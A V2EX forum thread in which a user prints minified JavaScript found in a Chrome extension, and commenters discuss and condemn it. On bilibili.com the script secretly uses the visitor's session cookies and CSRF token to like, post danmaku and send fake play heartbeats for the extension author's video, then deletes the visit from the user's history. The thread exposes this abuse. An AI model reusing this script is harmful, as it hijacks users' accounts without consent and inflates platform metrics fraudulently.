V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
• 请不要在回答技术问题时复制粘贴 AI 生成的内容
LvMax
V2EX  ›  程序员

给大家分享一个 b 站增加播放量和弹幕的 js

  •  
  •   LvMax · 2018-08-06 11:19:03 +08:00 · 5779 次点击
    这是一个创建于 2326 天前的主题,其中的信息可能已经有所发展或是发生改变。

    这个 js 是在某个 Chrome 插件里看到的 挺有意思的 又能发弹幕又能点赞还能删记录还能根据用户最新视频操作 发上来给各位 dalao 过目一下

    (() = >{
    	if ("www.bilibili.com" === location.hostname) {
    		const e = !1,
    		i = e = >{
    			const i = {};
    			return document.cookie.split(";").forEach(e = >{
    				const t = e.trim().split("=");
    				i[t[0]] = t[1]
    			}),
    			i[e]
    		};
    		let t = null;
    		const a = 5e3,
    		o = 300,
    		d = 1e5,
    		l = {
    			coin: 0,
    			danmaku: 0,
    			favorite: 0,
    			like: 0,
    			reply: 0,
    			share: 0,
    			view: 0
    		},
    		r = {},
    		n = ["666", "666666", "支持", "厉害厉害", "可以可以", "牛逼", "666666666"],
    		c = () = >{
    			const e = parseInt(Math.random() * n.length);
    			return n[e]
    		},
    		s = () = >{
    			return fetch(` //www.bilibili.com/video/av${t}/?inooo=sanm`,{method:"GET",credentials:"include"}).then(e=>e.text()).then(e=>{const i=e.match(/<script>window.__INITIAL_STATE__=(.+?)<\/script>/);if(i&&i[1]){const e=i[1].replace(";(function(){var s;(s=document.currentScript||document.scripts[document.scripts.length-1]).parentNode.removeChild(s);}());","");return JSON.parse(e)}return{}})},p=()=>fetch("//api.bilibili.com/x/web-interface/archive/stat?aid="+t,{credentials:"include",method:"GET",mode:"cors"}).then(e=>e.json()).then(e=>e.data),m=()=>{if(localStorage.bilibilihelperliked+""==""+t&&!e)return;const o=i("bili_jct");o&&(l.like>a||fetch("//api.bilibili.com/x/web-interface/archive/like",{headers:{"content-type":"application/x-www-form-urlencoded; charset=UTF-8"},body:`aid=${t}&like=1&csrf=${o}`,credentials:"include",method:"POST",mode:"cors"}).then(()=>{localStorage.bilibilihelperliked=""+t}))},h=()=>{const a=(new Date).getDate();if(localStorage.bilibilihelperdanmaku+""==""+t+a&&!e)return;const o=i("bili_jct");if(!o)return;const d=r.videoData.duration,l=parseInt(Math.random()*d*1e3),n=`type=1&oid=${r.videoData.cid}&msg=${c()}&aid=${t}&progress=${l}&color=16777215&fontsize=25&pool=0&mode=1&rnd=${1e3*Date.now()}&plat=1&csrf=${o}`;fetch("//api.bilibili.com/x/v2/dm/post",{headers:{"content-type":"application/x-www-form-urlencoded; charset=UTF-8"},body:n,credentials:"include",method:"POST",mode:"cors"}).then(()=>{localStorage.bilibilihelperdanmaku=""+t+a})},b=()=>{const a=(new Date).getDate();if(localStorage.bilibilihelperplay+""==""+t+a&&!e)return;const o=r.videoData.duration-1,d=Date.now(),l=parseInt((d+1e3)/1e3),n=r.videoData.cid,c=!!document.getElementById("playerWrap")?"HTML5PlayerNew211bf0ca":"HTML5Player+c31db083",s=i("DedeUserID")||"",p=i("bili_jct")||"",m=`//data.bilibili.com/v/flashplay/h5_player_op?pname=1&mid=${s}&statue=3&playmethod=2&avid=${t}&eventparam=&progress=0&displayid=${d}&eventid=play_screen&trackerid=&cid=${n}&fver=${c}&seasonid=&epid=&videotype=1&fid=web_player`,h=`//data.bilibili.com/v/flashplay/h5_player_op?pname=1&mid=${s}&statue=3&playmethod=2&avid=${t}&eventparam=&progress=${o}&displayid=${d}&eventid=end&trackerid=&cid=${n}&fver=${c}&seasonid=&epid=&videotype=1&fid=web_player`,b=`//data.bilibili.com/v/flashplay/h5_player_op?pname=1&mid=${s}&statue=3&playmethod=2&avid=${t}&eventparam=&progress=${o}&displayid=${d}&eventid=end_recommend_show&trackerid=&cid=${n}&fver=${c}&seasonid=&epid=&videotype=1&fid=web_player`;fetch(`//data.bilibili.com/v/flashplay/h5_player_op?pname=1&mid=${s}&statue=3&playmethod=2&avid=${t}&eventparam=&progress=0&displayid=${d}&eventid=enter&trackerid=&cid=${n}&fver=${c}&seasonid=&epid=&videotype=1&fid=web_player`,{credentials:"include",method:"GET",mode:"cors"}).finally(()=>{setTimeout(()=>{fetch(m,{credentials:"include",method:"GET",mode:"cors"}).finally(()=>{let e=!1;const i=d=>{if(e)return;let r=d||0;if(r>o/1.9&&(localStorage.bilibilihelperplay=""+t+a),r>=o)return;fetch("//api.bilibili.com/x/report/web/heartbeat",{headers:{"content-type":"application/x-www-form-urlencoded; charset=UTF-8"},body:`aid=${t}&cid=${n}&mid=${s}&csrf=${p}&played_time=${r}&realtime=${r}&start_ts=${l}&type=3&dt=2&play_type=${0===r?1:0}`,credentials:"include",method:"POST",mode:"cors"}).finally(()=>{setTimeout(()=>{p&&fetch("//api.bilibili.com/x/v2/history/del",{body:`aid=${t}&jsonp=jsonp&csrf=${p}`,headers:{"content-type":"application/x-www-form-urlencoded; charset=UTF-8"},credentials:"include",method:"POST",mode:"cors"}).then(()=>{})},500)}),setTimeout(()=>{i(r+15)},15e3)};i(),setTimeout(()=>{e=!0,fetch(h,{credentials:"include",method:"GET",mode:"cors"}).finally(()=>{fetch("//api.bilibili.com/x/report/web/heartbeat",{headers:{"content-type":"application/x-www-form-urlencoded; charset=UTF-8"},body:`aid=${t}&cid=${n}&mid=${s}&csrf=${p}&played_time=-1&realtime=${o}&start_ts=${l}&type=3&dt=2&play_type=4`,credentials:"include",method:"POST",mode:"cors"}).finally(()=>{fetch(b,{credentials:"include",method:"GET",mode:"cors"}).finally(()=>{}),setTimeout(()=>{p&&fetch("//api.bilibili.com/x/v2/history/del",{body:`aid=${t}&jsonp=jsonp&csrf=${p}`,headers:{"content-type":"application/x-www-form-urlencoded; charset=UTF-8"},credentials:"include",method:"POST",mode:"cors"}).then(()=>{})},500)})})},1e3*o)})},2e3)})};(()=>fetch("//space.bilibili.com/ajax/top/showTop?mid=用户 id&guest=0",{credentials:"include",method:"GET",mode:"cors"}).then(e=>e.json()).then(e=>(e.data&&e.data.aid&&(t=e.data.aid),t)))().then(e=>{e&&p().then(e=>(Object.assign(l,e),s())).then(e=>{Object.assign(r,e),l.view<d&&b(),l.like<a&&m(),l.danmaku<o&&h()})})}})();		
    
    14 条回复    2018-08-24 21:19:38 +08:00
    LvMax
        1
    LvMax  
    OP
       2018-08-06 11:28:11 +08:00
    刚才看了一下手机端的推荐记录 b 站应该没有删除推荐记录的功能 所以可以通过推荐数来判断多少人使用了那个插件 作者实在是🐂🍺
    linhongye
        2
    linhongye  
       2018-08-06 11:30:47 +08:00 via Android
    偷偷运行让大家变肉鸡?
    LvMax
        3
    LvMax  
    OP
       2018-08-06 11:33:13 +08:00
    @linhongye 插件上有个选项是 支持作者 应该是勾选了就会自动运行 做了也提到说这个选项不会影响用户
    但是这个选项是默认开启的 就是说无论如何 只要用了一次这个插件就会给作者最新的视频增加播放量 点推荐
    flowfire
        4
    flowfire  
       2018-08-06 12:05:13 +08:00
    这不举报一波还等什么
    mrchi
        5
    mrchi  
       2018-08-06 12:07:06 +08:00
    不如把链接放出来,我们一起举报一波?
    mikangchan
        6
    mikangchan  
       2018-08-06 12:24:52 +08:00
    刚有人找我做个刷推荐网站的后台,没想到人家成品都出来了 hhhh
    LvMax
        7
    LvMax  
    OP
       2018-08-06 12:34:00 +08:00 via iPhone   ❤️ 1
    @flowfire @mrchi
    “如果您愿意支持我,请勾选。勾选后可能会通过某种方式使我产生一点点的收入,当然这不会让您付钱,也不会对您浏览的网页产生任何可见的修改和影响,绝对不会打扰到您,更不会收集您的隐私信息。如果您不愿意通过这种方式支持我,请取消勾选。如果这个扩展确实对您有所帮助的话,还是恳求您的支持,谢谢 ♥”
    这是是作者的原话 我不是很清楚这是否满足举报的条件
    LvMax
        8
    LvMax  
    OP
       2018-08-06 12:39:05 +08:00 via iPhone
    @mikangchan
    有可能在这个 js 上修改 达到只要在任何网站上被运行就点推荐么?
    disk
        9
    disk  
       2018-08-06 13:46:26 +08:00
    @LvMax 你得想办法跨域,突破浏览器的安全策略限制。
    ryuzaki113
        10
    ryuzaki113  
       2018-08-06 14:03:49 +08:00
    没意思啊这种
    Geoion
        11
    Geoion  
       2018-08-06 15:08:46 +08:00
    还行
    mrchi
        12
    mrchi  
       2018-08-07 09:29:42 +08:00
    @LvMax 我这样想哈,还是应该说清楚会让用户做什么,要不然,万一哪天作者在 B 站发了反动视频,我还去 666 了,岂不悲剧。另外,刷推荐这种是不是也可耻了点。
    LvMax
        13
    LvMax  
    OP
       2018-08-07 12:03:10 +08:00 via iPhone
    @mrchi 哈哈哈哈哈哈哈这思路骚 我已经举报过了 大家也少用些这样的插件吧 也是为了自己好
    JebKerbal
        14
    JebKerbal  
       2018-08-24 21:19:38 +08:00 via Android
    上香~
    关于   ·   帮助文档   ·   博客   ·   API   ·   FAQ   ·   实用小工具   ·   4446 人在线   最高记录 6679   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 27ms · UTC 05:34 · PVG 13:34 · LAX 21:34 · JFK 00:34
    Developed with CodeLauncher
    ♥ Do have faith in what you're doing.